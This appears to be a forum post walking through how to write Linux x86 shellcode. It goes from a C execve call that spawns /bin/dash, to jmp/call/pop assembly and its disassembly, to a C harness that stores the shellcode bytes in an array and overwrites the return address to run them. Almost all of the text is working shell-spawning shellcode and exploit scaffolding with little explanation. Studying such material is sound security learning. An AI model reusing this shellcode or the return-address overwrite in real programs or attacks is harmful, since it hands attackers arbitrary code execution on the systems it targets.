It looks like you're new here. If you want to get involved, click one of these buttons!
man execve
int execve(const char *filename, char *const argv[],
char *const envp[]);
#include <unistd.h>
int main()
{
char *args[1];
args[0] = \"/bin/dash\";
args[1] = NULL;
execve(args[0], args, NULL);
}
$ gcc -mpreferred-stack-boundary=2 -o exec exec.c
$ ./exec
$
.text
.globl _start
_start:
jmp CallShell
ShellCode:
nop
popl %esi
xorl %eax, %eax
movb %al, 0x9(%esi)
movl %esi, 0xa(%esi)
movl %eax, 0xe(%esi)
movb $11, %al
movl %esi, %ebx
leal 0xa(%esi), %ecx
leal 0xe(%esi), %edx
int $0x80
CallShell:
call ShellCode
ExecVars:
.ascii \"/bin/dashABBBBCCCC\"
$ as -ggstabs -o exec.o exec.s
$ ld -o exec exec.o
$ ./exec
Segmentation fault
objdump -d exec
exec: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: eb 19 jmp 804806f <CallShell>
08048056 <ShellCode>:
8048056: 90 nop
8048057: 5e pop %esi
8048058: 31 c0 xor %eax,%eax
804805a: 88 46 09 mov %al,0x9(%esi)
804805d: 89 76 0a mov %esi,0xa(%esi)
8048060: 89 46 0e mov %eax,0xe(%esi)
8048063: b0 0b mov $0xb,%al
8048065: 89 f3 mov %esi,%ebx
8048067: 8d 4e 0a lea 0xa(%esi),%ecx
804806a: 8d 56 0e lea 0xe(%esi),%edx
804806d: cd 80 int $0x80
0804806f <CallShell>:
804806f: e8 e2 ff ff ff call 8048056 <ShellCode>
08048074 <ExecVars>:
8048074: 2f das
8048075: 62 69 6e bound %ebp,0x6e(%ecx)
8048078: 2f das
8048079: 64 fs
804807a: 61 popa
804807b: 73 68 jae 80480e5 <ExecVars+0x71>
804807d: 41 inc %ecx
804807e: 42 inc %edx
804807f: 42 inc %edx
8048080: 42 inc %edx
8048081: 42 inc %edx
8048082: 43 inc %ebx
8048083: 43 inc %ebx
8048084: 43 inc %ebx
8048085: 43 inc %ebx
#include <stdlib.h>
char shellcode[] = \"\xeb\x19\x90\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\"
\"\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\"
\"\x0e\xcd\x80\xe8\xe2\xff\xff\xff\x2f\x62\x69\x6e\"
\"\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\"
\"\x43\x43\";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
gcc -o shell shell.c
./shell